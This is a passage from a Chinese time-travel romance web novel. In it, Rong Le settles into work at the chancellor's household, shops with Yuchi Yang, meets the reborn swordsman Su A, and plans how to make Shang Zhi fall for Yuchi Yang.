“好了,我帮你拿着吧。”尉迟玚解开后,将她的帷帽轻轻摘下,紧握在手心中。
“我们进府吧。”容乐深呼吸,有些不自然的向前走去。
一旁的沧青摸着下巴,看穿了尉迟玚暗戳戳的心思。
若是说容姑娘她今日头一次知道朝暮节的习俗,不熟悉也就罢了,尉迟大人从小就在京安长大,不可能不熟知吧?
亲手将女子的帷帽摘下,是表明爱意的最明显的行为。
刚刚他完全可以解完系带就停下。
毕竟,摘帷帽这个事,容姑娘自己也能完成。
他甚至还在丞相府门口做此事,怕是在向丞相示威。
平素都是执行杀人的任务,这次保护的任务,倒也很是有趣。
“大石头,太子选秀都要开始了,你要好好加油了,留给你的时日不多了!”容乐边走边道,语气很是担忧。
尉迟玚没听懂她的意思,“太子选秀,和我有什么关系吗?”,他打趣的接着道:“我又不参加。”
容乐一副恨铁不成钢的模样道:“你到时候就知道了!这段时间,你需好好学习一下讨姑娘欢心的事。”
14. 苏阿现身
“你需要的话,我也可以勉为其难的教教你。”
容乐拍了拍尉迟玚的肩膀,一幅''包在我身上''的模样。
“那你教我的法子是适用于所有的姑娘的吗?”
他想问,是否也适合她。
“大部分的都是通用的,但是核心还是应该因人而异。”
“换句话说,就是你要看她真正需求什么,每个人都不一样。”
说到这里,容乐发现得好好想想商芷这个人,结合她的经历,看看她真正需要的是什么。
突然,管家的声音传来,打断了他们的思绪。
“你们把东西挂这边,哎哎哎,不是这!”管家带着小厮们出现在花园里,正在往树上挂各色的灯笼。
这几天为了迎接商芷,府里上下都在布置,看的出来丞相对这个女儿还是很重视的。
“对了,我什么时候上工呀?”
容乐看见管家忙碌的身影,突然想起了正事。
“此事不急,你今日逛了一天了,想必也很累了,后面我们再商议吧。”
“那不行,我总要干些正经事的!”容乐坚持。
“这几日我暂时不用书房。这样吧,明日我休沐,正好要上街采买些东西,你就陪我一起吧。”
他想起安排的暗卫回禀的情况,知道她有许多东西想买,却因为不想花他的钱,都没有买成。
“至于工钱,就一个月二十两吧。”
“文管家,你把容姑娘下个月的工钱先结了。”
尉迟玚本来想更多一些,但是担心她会觉得不是正常的工钱的价格,所以就折了个中。
“是。”管家听到指令后,停下此时手中的事,立马朝账房走去。
“你们丞相府,是先付工钱后干活?而且书房伺候工钱这么高的吗?”容乐有些不可置信。
她头一次听说,有这个月发下个月工资的人。
一般不是——当月结当月的吗?
除此之外,周国的物价她今日也有所了解——
五文钱就可以买一斗米了!
按照换算的话,一两银子相当于现代四千块钱左右,二十两相当于八万元。。。
她不过就是个书房伺候,能有这么多钱?
“丞相府的规矩就是如此,同时工钱是比外面要高一些的。”尉迟玚笑着道,正巧看见管家回来了,意有所指的问道:
“文管家,你说之前的书房伺候的工钱是不是也是二十两?我们府的工钱一般就是提前一个月发放吧?”
管家听出尉迟玚的意有所指,一本正经的道:
“这是自然,而且容姑娘,书房伺候的工钱本就比普通的工种钱要再高一些的,需要要识字,和丫鬟小厮是不一样的。”
他明白是公子找个理由想让容姑娘心安理得的住在丞相府,而且也不能委屈了她。
虽然有些昧着良心。
因为他的工钱,一个月也就十两,所有人的钱也是当月发当月的。。。
管家将钱袋放在容乐的手中,笑呵呵的道:“容姑娘莫要想太多了,要不是这么好,也没有这么多的人来应试丫鬟,您说对不对?”
“行吧。”容乐半信半疑。
“那我就先回去休息了,明日见。”
她接过了尉迟玚手中的帷帽,笑着谢过后,朝回房的方向走去。
在长廊上,容乐确认四周没人后,小声对身旁的沧青的问道:“青儿,你老实告诉我,刚刚的工钱,你觉得合理吗?”
沧青点了点头,道:“合理。”
给心悦的人,给多少自然都是合理的。
工钱只不是个借口罢了。
而且,若是她之前有任务的时候,一个月会有上百两。
二十两也不算多少了。
“真的吗?!”
容乐产生了自我怀疑,居然只有她一个人觉得难以置信。
难道这就是传说中——钱多事少的神仙工种?
算了,既然所有人觉得都没问题,她也没必要纠结了。
接下来,还有十分要紧的事。
太子选秀就要开始了,商芷还有几日就要入府,她得抓紧时间了。
不过,商芷需要的是什么呢?
容乐眉头紧锁,边走边努力回忆着商芷的一生——
小时候经历了父亲抛弃,母亲病死,最后还人贩子被卖到了青楼里。
被寻回后,一心想要飞上枝头当凤凰,努力当上太子妃,赋权之乱后,同太子一起被处死。
可怜啊,是真可怜。
先不论后面的事,此时的商芷应该刚刚从青楼里被赎身。
从目前的经历来说,她心里定是很没有安全感的,很孤独的,说不定还要时常看人眼色过日子。
若是,尉迟玚能够给她一个强大的依靠感,让她放下戒备感。
再救赎她那颗破碎的心,说不定就会喜欢上他了!
而且,据她这段时间的感受,尉迟玚就是一个很温暖的人,和他在一起,她也一直很安心。
这不就是一种‘强大的依靠感’吗!
想到这里,容乐的心中的阴霾顿时拨开了,眼前仿佛已经出现尉迟玚和商芷在一起的幸福模样。
明日既然要出去,她就给大石头买买话本子,再教教他怎么哄得姑娘的芳心。
“青儿,你知道京安哪家书肆的话本子最多吗?最好都是才子佳人的那种!”她摩拳擦掌,胸有成竹的准备大干一场。
“嗯,知道。”
“好!那你明天带我和大石头去吧!”
“好的。”
沧青依旧是波澜不惊的模样。
她虽然没看过话本子,更不了解才子佳人的这类的。
但是,她知道殷俊经常去一家书肆,依照他风流成性的风格,那家店里的书应该不差。
——————————————
次日清晨,用过早膳后,容乐陪尉迟玚上了街。
正值赶集,小摊贩比昨日还多了一倍。
各式各样的东西玲琅满目,人流熙熙攘攘,好生热闹。
“你要准备买什么呀?”容乐左看看右瞧瞧,眼里充满了惊奇。
她看见身旁有一个糖画摊,一位老爷爷正笑呵呵的画着一条鱼。
尉迟玚笑着看向她,没有直接回答,问道:“你想吃糖人吗?”
“什么?”
他轻轻握住她的手腕,朝摊前走去。
“老伯,我可以自己画吗?”
“当然可以,公子请。”摊主用围裙擦了擦手,走到一旁。
尉迟玚将银子放在了摊主的手中,走到摊后,舀起碗中的糖浆,开始作画。
虽然在市井之中,他的举手头足之间,依旧显出矜贵的气质,神情很是认真,仿佛画的不是糖人,而是名家画作一般。
渐渐的,摊前的人多了起来。
容乐看见尉迟玚如此娴熟的模样,有些奇怪,感觉他好像是做过许多次一样。
片刻后,他小心的拿起梅花模样的糖人,笑着朝容乐走去
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在光的照射下,栩栩如生,很是逼真。
他走到她的面前,拿起糖人,勾起唇角道:“乐儿,送你的。”
“哇~”周围的人开始起哄,让容乐有些不知所措。
她接过着糖人,低头对尉迟玚小声道:“大石头,我们赶紧走吧!”
“好。”
他带着她,朝外走出了人群。
待无人再关注他们的时候,容乐松了口气,低头看向手中的糖人,问道:
“大石头,你之前学过做糖人吗?做的好好啊!”
“而且糖人一般都是兔子啊、马啊一些动物模样的,为什么想做梅花样式的呀?”
尉迟玚听后,有些晃神。
自从她中箭消失后,他便找了糖人师傅来学做糖人。
之前每次他惹她生气了,她只要吃他买的糖人,她就会开心。
他思念她的时候,就会不停地做糖人。
那段时间,他时常看着自己做的堆成山的糖人,独自一人发呆。
他希望她会原谅自己,重新回到他的身边。
尉迟玚看向身旁拿着糖人的容乐,笑着道:
“之前在街上看见,觉得甚是有趣,便学了这门手艺。至于梅花——”
他顿了一下,接着道:“是因为我们在冬日相识,那时梅花开的正盛。”
容乐心中触动,她轻轻的咬下一边,甜丝入口即化,“很好吃,谢谢你!”
她更有信心商芷会喜欢上尉迟玚了。
这么好的人,肯定会治愈商芷受伤的心!
“好!好!”
叫好声夹杂着鼓掌从突然前方传来。
容乐抬头望去,看见不远处的很多人站在一起围成圈,津津有味的看向中间。
咚、咚、咚的铜锣声响起,粗犷的男声隐隐约约传来:
“大伙儿有钱的捧个钱场,没钱的捧个人场,接下来,我们表演的是——耍大刀!”
原来是在卖艺。
她只在古装剧里看见过卖艺,现实中还没见过呢!
容乐迫不及待的朝那处走去,脚步轻快,眼神中充满着殷切。
待走近了,只见一位男子身着棕色粗布短褐,腰间束玄色带,表情坚定而锐利,明明看起来很年轻,目光中却带着许多经历世事一般的坚毅之感。
他转身回旋,向空中跃去,猛挥刀劈下,动作沉稳有力,仿佛将空气劈成两半,四周的风声呼呼作响。
“好厉害!”容乐站在前排,惊奇的睁大了眼睛,不由得激动的鼓起掌来。
耍刀的男子余光看见了她,手中的动作一顿,嘴角扬起一丝令人不易察觉的弧度。
他疾步向前,加快了挥刀的速度,动作越发的凌厉,每一个动作好像都带着千钧之力,手中的刃在光的照射下,闪烁着冷冽的光芒。
刀法之快,让人看不清,好像和他的身体融为一体那般,如游龙般穿梭。
最后的动作停止,他站立在削尖直立的木桩之上,双手张开,刀在空中竟然径直插入鞘中。
安静了一瞬后,剧烈喝彩声响起,久久不歇。
他飞下木桩,‘不经意’的走到容乐面前,弯腰抱拳对众人大声道:
“在下苏阿,感谢大家赏光!”
随后,他看向容乐身后眉头紧皱的尉迟玚。
苏阿目光微眯,嘴角勾起耐人寻味的弧度。
尉迟玚,你果然回来了,既然上一世你没有好好保护阿乐。
那么这一世,换我了。
15. 男二重生
苏阿?
他怎么会在这里?
尉迟玚有些奇怪,上一世,他明明是三个月后才出现的。
那时候,正逢夏季,他在烈日炎炎下,独自一人卖艺葬母。
容乐上街买文房四宝的时候,遇见了他。
她实在有些不忍心,将自己所有的工钱都给了苏阿,让他将母亲安置好。
当然,上一世,容乐的工钱还只有——五钱银子。
苏阿想要报答容乐,在某一日的街上拦下了尉迟玚的马车,举荐自己做丞相府的护院,希望将自己每月的工钱都加在她的工钱里。
他看来人确实武艺高强,听了前因后果后,觉得苏阿也是知恩图报之人,便也同意了。
后来,容乐得知宫中正考核侍卫,于是和尉迟玚提议让苏阿试试。
在尉迟玚的引荐下,苏阿参加比试,成功拔得头筹,成为宫中禁卫军中的一员。
在逼宫之时,苏阿作为卫尉丞,起到了极大的作用,也是他最关键的助力。
“我府上正巧缺一护院,我看你武功高强,可否愿意随我回府?”
尉迟玚看向苏阿,解下钱袋,递到了收钱之人的铜盘之上。
这一世,他需要苏阿在宫里传递消息出来。
“这么多钱!”收钱的人打开钱袋看了一眼,睁大了眼睛吃惊的接着道:“苏阿,你真是好福气,能被贵人看上!”
苏阿瞟了一眼钱袋,看向面前的容乐,嘴角上扬。
他双手抱拳弯腰对尉迟玚道:“谢谢公子,我愿意做您府上的护院。”
说完,转身向班主辞别,准备跟尉迟玚走了。
就这样?
容乐对眼前发生的一切还没缓过神来,苏阿就跟在他们身后同行了。
她偷偷用余光的向后瞟着,一边回忆书上记载他的生平。
苏阿在历史上的笔墨并不是很多,主要还是从离书对太子清君侧开始的,距离现在还有十三年。
在宫变里,他是关键的角色之一。
是他打开宫门,带领禁军护卫全部归顺离书,协助离书顺利拿下太子离赋。
离书登基后,擢升苏阿为卫尉,赏千金。
再后来,就只有嘉容皇后的传记里出现过他了。
据记载,苏阿极为疼爱妹妹。
某次嘉容皇后和离书吵架的时候,苏阿甚至还去找离书理论。
当时,离书在朝中威望很高,没有一个人敢忤逆他。
苏阿的行为可以说是史无前例的存在。
同僚听说后,劝他莫要因为皇后而被皇上忌惮,影响仕途。
他却说:“我只有一个妹妹,只要她开心快乐,我什么都不在乎。”
“容小姐,书肆到了。”沧青的声音传来,拉回了容乐的思绪。
她抬头看去,‘英俊书房''四个大字赫然屹立在眼前。
英俊?怎么有人这么起名?还是书肆的名字。
容乐皱着眉头,眼神中充满了疑惑。
尉迟玚解释道:“这是殷俊前些天买下来的书肆,那时候的店名还是墨文轩。”
就是说这个‘英俊’名字怎么听起来这么耳熟。。。。。
“他为什么要把自己的名字的谐音起到店名里?”容乐走进书肆,偏头对尉迟玚不解的问道。
“他说,是要让所有人都知道,全京安最大的书肆是他这个纨绔子弟开的。”尉迟玚拿起一卷竹简,打开看了看随意看了看,接着道:
“除此之外,他还说,他的红颜知己很多,路过的时候,看见店名,定也会买一两本书走。”
这么的自恋吗?而且连红颜知己的钱也算计进去了。
啧啧啧,不愧是浪子无情,容乐心里想道。
不过,这家店的氛围还是挺不错的。
墙上挂着满了名家字画,正中间摆放着梨花木书案,上面的摆放着各式笔墨纸砚,桌角处还有紫金镂空的香炉,缕缕白烟飘散着淡淡的檀香。
书架整齐的一列列排着,按照不同类别摆满了一卷卷木牍、竹简以及布帛。
她走到“才子佳人”专栏处,根据故事梗概,开始精心挑选了几本符合尉迟玚和商芷——
富家公子遇上落魄少女,挣脱世俗的爱恋故事。
尉迟玚看容乐专心的模样,走了过去,发现她已经将三四本书拿了出来。
但是看见书名,不由的眉心微蹙——
《绝命毒妃,在低谷中遇见她》《为爱倾心,爱上侯府假千金》《如何讨心上人欢心,爱恋的三十六个小妙招》。。。。。
“乐儿,你喜欢看这种话本子?”
容乐低头看了一眼筐里的书,笑着拍了拍他的肩,别有深意的道:
“这些都是为你准备的,后面你自会用上。”
尉迟玚薄唇轻启,本想婉拒,但是担心她会生气,话到了嘴边就变成了:
“乐儿,你觉得将来需要怎么用这些书呢?”
话里话外的意思,他认为自己不需要这种奇奇怪怪的东西。
“这你就不懂了吧。”
容乐拿起一本书,翻开目录,定位到男女主相处的细节里,看了一会,双眸突然一亮:
“这里,男主和女主吵架了,女主收拾包袱准备走人。”说完,她将书合上,双手交叉放在前胸,问道:“如果是你是他,会如何哄心爱的人呢?”
尉迟玚剑眉紧蹙,眼中闪着深邃的光,食指和拇指细细的搓磨着,想了一会道:“我不会让她出府,会给她赔礼,再买一些她喜欢的东西让她开心。”
“也不完全对。”
容乐将书打开,踮起脚尖,凑近了他,指着书中男主的做法道:
“首先,你应该尊重女主的想法。”
“你看这里,男主没有阻拦,而是尊重女主的自由,他默默的跟在女主的身后保护她。待气快消了的时候,再主动现身道歉,还放烟花逗女主开心!”
尉迟玚觉得这种做法有问题,要是他,一是绝不会让喜欢的人离开,二是更不舍得让喜欢的走到气消。
即便是这么想的,但是尉迟玚奉行着——喜欢的人说什么都是对的原则。
他重重的点了点头,十分真切的看向容乐:“原来如此,你说的很有道理!”
“对嘛,你看,真的是可以从里面学到很多东西的!”
“这些都是我专门为你挑选的,费了很多心思的!尤其是女主的处境和身份,你可要好好的揣摩揣摩。”
都是和商芷很贴合的!
容乐虽然没有谈过恋爱,但是呢,她相信“书中自有黄金屋”,一切都是可以学到的!
“那假如你是这个女主,男主惹你生气了,你会如何?也是离家出走吗?”尉迟场开口问道。
“那是必不可能的!”
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容乐毫不迟疑的接着道:“凭什么是我走?要是我生气了,定把男主扫地出门!”
“那他要怎么做才能哄好你呢?”
“那就看他具体的诚意了。”
“比如?”
“比如跪下给我道歉。”
尉迟玚沉默了。
“好。”尉迟玚将她手中的书合上抽走,连带上她挑选出的其他书,交给了沧青:“都买。”
容乐先一步将银子放在店里的账房前,十分阔绰的道:“我请了。”
虽然不明白,为什么她要为他做这些,而且,上一世,她也没有做这些事。
但是,这是个机会,他可以从侧面了解到容乐真实的想法。
尉迟玚装作欲言又止的模样道:“你的心意我感受到了,但是书里的很多内容,我可能靠自己可能无法完全参透——”
“没事儿,若你有什么想要问我的,随时说就行。”容乐拍着胸脯道。
她对商芷和尉迟玚的未来又多了一份信心。
站在身旁的苏阿将一切都看在眼里,他感受到了自己和尉迟玚的差别。
——尉迟玚知道怎么让容乐开心,可是自己却不知道该怎么做。
他不是一个很会哄人开心的人,嘴很笨。
面对她时,他总是小心翼翼的,生怕说错一句话,会惹她不开心。
上一世她在宫中伴读之时,两人碰见后会聊聊天,但是多数都是她在说,自己只是默默的听着。
他将对她的喜欢藏在心里最深处,想着当身份足够与她相配的时候,再告诉她。
因为这个目标,他拼命的往上爬,短短五年时间,从巡逻守卫,到卫尉丞。
可当做到的时候,才发现,她的眼里从来都只有尉迟玚。
那时他就决定将想说许久的话,永远深埋在心底,只默默的守护她就好。
在得知她被太子射杀的消息后,他悲痛不已,那时候总想着,如果还有一次机会,他一定要将她从尉迟玚的手里抢过来!
在听到道士的话后,自刎的人不只有尉迟玚,还有苏阿。
他醒来之后,立马带阿母离开了三个月后会爆发瘟疫的村落,将她安置在安全的地方后,就来京安来找容乐了。
可是没想到,尉迟玚还是比他先遇到她了。
苏阿沉默的继续跟在他们的身后,听到容乐的声音传来:“苏阿,你妹妹在哪呀?也在京安吗?”
他抬头,发现她正笑着看向自己。
像极了上一世容乐同他坐在宫苑的一角聊天的模样。
这一世,他不会再那么傻了。
苏阿露出前所未有的灿烂的笑容,抬起头径直看向她,道:“容姑娘,在下家中没有妹妹,只有阿母。”
“嗯?”容乐睁大眼睛,觉得自己是不是听错了,再次确认的问道:“你说什么?你没有妹妹?!”
“对。”
“那堂妹、表妹之类的呢?”
“也没有,家中都是男丁。”
容乐眼神中满是难以置信,嘴唇微张,想到了什么,接着转头问尉迟玚道:“那大石头,你知道离书这个人吗?”
尉迟玚摇了摇头,离是国姓,周国从开国以来的离姓人皆是皇族,但是没有一个人的名字是‘离书’。
“那现在的平阳王又是谁?”容乐蛾眉微微拧起,她突然觉得事情不对劲了起来。
16. 恶狗
“平阳不是诸侯王的封地,是由平阳州刺史张衡在监管。”尉迟玚解释道。
他看她脸色不对,担心的问道:“乐儿,是发生什么事了吗?”
“没、没什么,就是听别人说有个平阳王叫离书,应该是搞错了吧,没事,哈哈哈哈。”容乐尴尬的笑着。
什么鬼啊!没有离书,也没有嘉容皇后?!
她现在真的是在历史中的周国吗?
难不成只是在《周国传》这本历史书里?
可是《周国传》里也有离书和嘉容皇后啊。。。。。
难道是因为她的到来,导致历史出现了偏差?
照目前的情况来看,除了离书和嘉容皇后,其他的事情也的确是在按照历史的进程发生。
可她为什么会影响两个毫不相干的人突然消失啊!
还是历史上这么重要的两个人。
突然,温婉的女声传来,打断了容乐的思绪。
“尉迟公子,贺婉在此有礼了。”女子微微屈身,朝尉迟玚礼貌的行礼道。
“没想到会在此处遇见你。”尉迟玚停下了脚步,朝面前的女子微微点头。
容乐看向面前的人,她身穿一袭曲裾白色深衣,襟口位置处绣着浅蓝色的精致的云纹,衣袂飘然,气质温柔,面容虽算不得精致,但给人一种极为舒服的感觉。
贺婉?
等等,怎么感觉那么耳熟?
“我是光禄勋府中的人,贺铭。丞相有意让在下的妹妹贺婉嫁给尉迟玚,故两家便走的近些。”
那日‘贺铭’的话在容乐的回忆里突然响起。
她是贺婉!
容乐的瞳孔瞬间放大,就是那个丞相给尉迟玚相中的姑娘!
“尉迟大人,过几日家父会拒绝丞相议亲之事,这件事是小女的问题,还请你见谅——”贺婉有些愧疚的低下头,声音越来越小。
尉迟玚看她的身旁的丫鬟抱着青色布匹,而两人又在京安最好的成衣坊前排队。
他嘴角微微上扬,事情正在按照计划进行。
“贺姑娘不必挂心,你既意属太子,在下今夜便会与阿父商议,让他不必在此事上费心。”他面带微笑,用温和的语气道。
尉迟玚三个月之前刚回府,就得知尉迟泰有意想与光禄勋贺家结为亲家。
他觉得很奇怪,此事上一世并未发生。
当即他就明确的表示——绝不可能。
但尉迟泰很坚决,拿出“父母之命媒妁之言”之类教义压他,而尉迟玚目前的势力还不足以与之抗衡。
故此事,只能从贺氏入手。
贺家有一儿一女,其中大鸿胪贺详极为疼爱儿子贺铭,在朝中安排印曹一职,正好在就在尉迟玚的手下。
贺铭平时的喜好就是收藏古玩,字画等,花销很大。
尉迟玚故意找人设计贺铭私相授受,将弹劾奏章放在他的面前,暗示太子五月之后会选妃,若贺婉以此来拒亲,罪证便会交还于贺铭手中。
按周国律例,官员如有私相授受者,罢官,处流放之罚。
而太子的喜好,也是尉迟玚提前放出消息,京安最大的布坊和成衣坊都是他的私产。
他让布坊和成衣坊的掌柜每日限制人流,布量只能做三分之一件裳。
这样做,一方面是引贵女们采买,为太子选秀造势,以排长队直观让尉迟泰感受到贵女们心之所向。
如此,贺婉以太子来拒尉迟泰,也合情合理。
另一方面,他故意抬高价格,也赚了一笔。
“尉迟大人,小女在此谢过了。他日若有机会,定让父兄登门赔罪。”贺婉再次屈身朝尉迟玚行礼。
“贺小姐不必多礼,登门赔罪就不用了。结亲之事本就在商讨阶段,还未到三书六礼,一切本就未定。”尉迟玚微微颔首道,目光中带着随和。
“在下还有事,今日就此别过,还愿贺小姐所愿皆成。”
说完,他就带着容乐向前走去。
“大石头,你还好吗?”容乐担忧的看向身旁的人,小心翼翼的问道。
她没想到除了商芷,尉迟玚竟然还会因为太子而被其他贵女退亲。
“我挺好的,与大鸿胪结亲之事,我本就没想过。”尉迟玚偏头笑着看向她,感受到她关心的目光后,又故意用低沉的声音补充道:
“其实,我能理解她们。毕竟,若能嫁给太子,不仅能为家族助力,往后还是皇后,执掌后宫。”
“而我只是小小的御史中丞,给不了她们这么多,自然也比不过太子。”
容乐听后双眉紧蹙,感觉一股气从胸前升起,她向前一步走到尉迟玚的面前,美目圆睁的道:
“谁说的!她们选择太子是她们没有眼光!”
“而且御史中丞怎么了,你才二十有一,就协助御史大夫掌管御史台。而且还是丞相之子,她们的父兄在你这个年纪的时候,还不知道在干什么呢!”
“大石头,你可不要妄自菲薄。在我的眼里,你就是最好的!”
她不允许有人看轻尉迟玚,连他自己都不行!
尉迟玚看她替自己说话的模样,心里很暖,犹如被一阵春风拂过,笑意在眼角处都藏不住了。
他想起昨日太子让她选秀一事,问道:“若你是贺婉,有机会参加太子选秀的话,你会选择——”
话还未说完,容乐直接打断回应道:“我要是她,我定选择与你结亲,才不会参加什么太子选秀,说实话,太子我还真是看不上一点!”
她拍了拍他的肩膀,目光坚定,希望她的话能给他一些信心。
毕竟商芷就要来了,这可是一场硬仗。
没信心的话,怎么能行呢!
“你放心,若未来你喜欢的女子也喜欢太子的话,我定帮你抢回她的心。”
尉迟玚的笑意还没漫延,就僵在了脸上
容乐看见不远处的另一家成衣坊,便拉着尉迟玚朝前走去,
身后的苏阿听后,嘴角悄悄扬起,看来阿乐此时对尉迟玚也没有那方面的意思嘛。
那自己就还有机会。
“哎呦,客官请进,是做外裳还是内衬呢?”店员看见容乐一行人走进来,顿时咧开嘴笑着,满脸都堆满了褶子。
最近的生意都被那家能做‘太子’喜欢样式的给抢了,人流损失惨重啊。
“都做,请你们这最好的师傅来做。”容乐将尉迟玚推到店家的面前,笑着接着道:“给他量尺吧。”
她看了眼店里的布匹,虽没有布坊的品类多,但是依旧很好看。
”这个,这个,还有这个,都要了,就用做给这位公子做衣裳。”容乐指着银白色、碧蓝色还有浅云色布匹,对店家道。
”乐儿,你为何突然想要给我买衣裳?”尉迟玚站在原地,任由店家为他量尺。
她走到他的面前,眼神俏皮的道:“自然是为了好看啊。”
容乐与尉迟玚说话时,才发现他身旁的苏阿衣袖上破了个洞,想着反正来都来了,不如给大家都买一件。
“店家,你把他们的尺也量一下吧
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。”她笑着看向苏阿和沧青,“既然要买衣裳,那就一起买吧。”
她平时和好友逛商场的时候,都是一起买衣服包包的,快乐的事就要一起分享嘛!
“在下谢谢容姑娘。”苏阿准备双手抱拳弯腰对容乐行礼,却被她先一步扶住了手臂,“不必多礼啦,我们都是一样的,算是同僚了。”
毕竟都在丞相府做工,要互相照顾嘛。
“店家,你待会给这位姑娘也量一下尺吧,布匹就选那个锦缎嫣红吧。”尉迟玚打断了两人的对话,对喜笑颜开的店家道。
容乐听后急忙摆了摆手:“不用不用,你给我准备的衣裳太多了,连着穿半月能都不重样的。”
“而且,我也不知道会在丞相府呆多久,买太多东西也不好带走。”她补充道。
容乐不知道下一次回现代是多久,到时候要是改变了尉迟玚的命运,她就不回来了。
毕竟只是过客,她不想买太多东西。
尉迟玚听后,双唇紧抿,神色黯然,墨色双眸间覆上了层阴霾,袖袍下的手不自觉的攥成了拳。
原来一开始,她就没想过留下来。
他知道自己拦不住她,但是未来,他定会让她心甘情愿的留下来的。
——————————————
日子过的很快,容乐也开始做起书房伺候的活来——磨磨墨,收拾一下桌面,再沏壶茶。
大多数的时间,她就只是静静地呆在尉迟玚的身边。
说实话,她时常怀疑,尉迟玚是否真的需要个书房伺候。
夜深之时,她撑着头,坐在一旁,看他认真看书写字的模样,又会觉得很不真实。
自己真的穿越了两千年的时光,和心中最崇敬的人成了朋友,还呆在一间房里诶!
很像是一场梦。
但是,这种的平静且无聊的日子没有持续多久,容乐就将注意力转移到最重要的事上了
——商芷要来了。
这日,她握住门闩,正准备离开,突然想起什么事,转身笑着对尉迟玚道:
“大石头,那日在成衣坊做的衣服刚刚送来了,你明日就选一件穿上,好不好?”
明日,商芷就要入丞相府了,她必须让尉迟玚在商芷面前留下很好的印象才行。
他抬头,视线与她的清澈的双眸相撞,嘴角不自觉的上扬:“好。你早点回去休息吧,明日见。”
“嗯,你也是,早点休息。”容乐笑着朝他点头,随后抽动门闩,走出了门。
尉迟玚的身影一点一点的消失在逐渐关闭的门缝中,她的心里不知道为什么,突然有些难过起来。
她回到了自己的院中,坐在台阶上,双手撑着头,望着月亮。
明日,尉迟玚会就在丞相府中的后花园中遇见商芷,并且对她一见钟情。
野史记载,他喜欢了商芷八年,一直到离世。
想到这里,他的话再次在她的耳边响起:“此生一旦认定一人,绝不放手”。
她虽早已决定帮尉迟玚追到商芷,但是今夜不知怎么了,思绪很多,心情很乱。
甚至还有些失落。
一定是‘事前焦虑症’引起的,越临头越烦躁。容乐暗暗的想着。
汪、汪、汪!
凶猛狗叫声突然传来。
她抬眼看去,发现一个黑色的狗,呲着牙,瞪着眼睛朝她恶狠狠的跑来。
就在容乐惊慌的准备起身的时候,一个身影从天而落,挡在了她的身前。
“苏阿?”
17. 商芷出现
“容姑娘,你没事吧?“苏阿牵着狗,走到容乐的面前,关心的问道。
“我没事。”她低头看了眼耷拉着耳朵的狗。
它刚刚被苏阿揍了一顿,确实老实不少,没有刚刚张牙舞爪的模样了。
她笑着道:“我认识它,是丞相府看后院的阿福。”随后用手拍了拍身旁的台阶,对苏阿道:“刚刚谢谢你了,坐着休息一会吧。”
苏阿点了点头,坐在了她的身边,阿福呜咽了一声,老老实实的趴在地上。
一阵晚风吹过,院中的树叶沙沙作响,两人一狗,静静地坐在院中。
上一世,他们每次聊天,都是容乐先开口。
这一世,苏阿决心要主动一些。
他深吸一口气,有些紧张偏头看向她,鼓起勇气先一步打开话题道:
“半刻前,阿福趁后院的人不注意,偷偷溜了出来,管家怕惊到老爷和公子,于是就让我们悄悄的寻着。”
“青儿姑娘呢,怎么没见她来保护你?”
容乐大着胆子摸了摸委屈的阿福,眼角微微上扬,嘴角勾勒出浅浅的笑意,回答道:“青儿今日休息。”
她听到身旁的人呼吸声有些急促,转头看向他,疑惑的问道:“我怎么感觉你好像有点紧张?”
没想到被看出来了。
苏阿低着头,双手紧搓着,小声的道:“嗯,我平时很少和姑娘说话,不知道该说什么,又怕说错话。”
容乐看他憋的脸红的模样,噗嗤一声笑了出来,看着他武功高强,没想到还是一个羞涩的人。
“没关系的,你想说什么就说,不用害怕。”她轻轻的拍了下他的肩,盈盈一笑。
她温婉中带着几分亲近的神色,在月色下,让苏阿紧张的心渐渐地平复了下来。
他安静的看向她一边摸着狗的脑袋,一边望向月亮,眼神里带着些复杂的情愫。
像是心里藏着事。
“容姑娘,你是不是遇到什么烦心事了?”苏阿接着道,“你可以告诉我,如果能帮忙的,在下一定全力相助。”
“而且你放心,我肯定不会告诉别人!”他目光坚定的补充道。
容乐看他信誓旦旦的模样,不知道为何,突然感觉有几分熟悉和安心的感觉,如同多年认识的老友一般。
“我——今日不知怎么了,心绪有些不宁。”
要是说全是因为商芷和尉迟玚一事,好像也不是。
她看着满天的星光接着道:
“可能是有点想我的养父母了,他们前段时间离世了,家里现在因为遗产而分崩离析的。”
她撑着头,双眸中的光暗淡了下来,望着漫天繁星问道:
“你说,人离世后真的会变成星星吗?”
苏阿从袖口拿出一颗糖,放在容乐的手心中,神色认真的道:
“很久很久之前,有个人告诉我,在想逝去的亲人之时,看着星星吃一颗糖,就能感受来自他们的思念。”
上一世,他阿母过世,某日在宫里两人碰面时,她发现他想念阿母,就是这么说的。
隔日,还带来了一盘饴糖给他。
从那之后,他就喜欢上了吃糖。
容乐动容,她将糖衣剥开,晶莹剔透的糖在月色下泛着光。
放入口中,点点甜意从舌尖融到了心里。
“不知道为什么,总感觉我们好像之前就认识。”容乐转头看向苏阿,嘴角微微上扬。
他的心猛的抽紧,嘴唇微张,想要说什么,却都梗在喉咙处,不自觉的发出了声:“阿乐...”
“嗯?”
容乐摸了摸下巴,觉得有些新奇:“倒是头一次有人这么叫我。”
“既然如此,那我以后就唤你‘阿苏’吧!”她笑着看向他。
苏阿心头一酸,上次她这么叫他,还在太子射杀尉迟玚那日。
也是从那日之后,他再也没有见过她。
“其实,我还有一件烦心事。”容乐叹了口气,眉心微蹙双手撑着头,接着道:
“其实我一直想撮合尉迟玚和商芷来着,明日他们就要第一次相见了,你说怎么让商芷也喜欢尉迟玚呢?”
苏阿听后睁大了双眼,有些错愕,他没想到还想撮合尉迟玚和别人在一起。
还是这么具体的一个人?
想到这里,他双眸明亮,眉眼处满是藏不住的喜悦,嘴角的抑制不住的上扬,语调轻快的提议道:“你觉得‘英雄救美’如何?”
容乐的眼前一亮,身子不自觉的朝他那偏去:“你展开讲讲,怎么个法子?两人在府中怎么‘英雄救美’?”
府中都是府兵,还有丫鬟小厮,总不能在府里被绑架吧?
而且这是丞相府,哪有人敢在这儿当众劫人的。
“英雄救美不一定是话本子写的那样在生死关头,也可以在点点滴滴的生活中。比如——”
苏阿看了眼确定四处没人,小声在她的耳边道:“商小姐在尉迟公子的面前不小心跌倒,他向前去扶住她。
这样两人不仅拉近了距离,还能有亲密接触。”
上一世他在宫中做侍卫时,见惯了后宫中的美人为了争宠做的事。
唱曲儿的、作画的、抚琴的、故意跌倒的、装柔弱的、故意陷害她人的,多到数都数不过来。
刚开始,他还感到新奇,到后面都已经麻木了。
“这法子不错啊!”容乐连连点头赞叹,她没想到苏阿一个连和姑娘说话都会紧张的人,会想出这种法子。
可想到什么后,她又摇了摇头:“可怎么让商芷在尉迟玚面前跌倒呢?”
脚在商芷身上,若是有意跌倒便算了,无意跌倒的话,难度就有点大了。
